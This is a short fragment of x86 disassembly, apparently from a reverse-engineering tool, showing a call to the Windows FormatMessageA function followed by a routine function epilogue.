call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push eax
push dword [esi]
call fcn.00416ed3
pop esi
leave
ret 8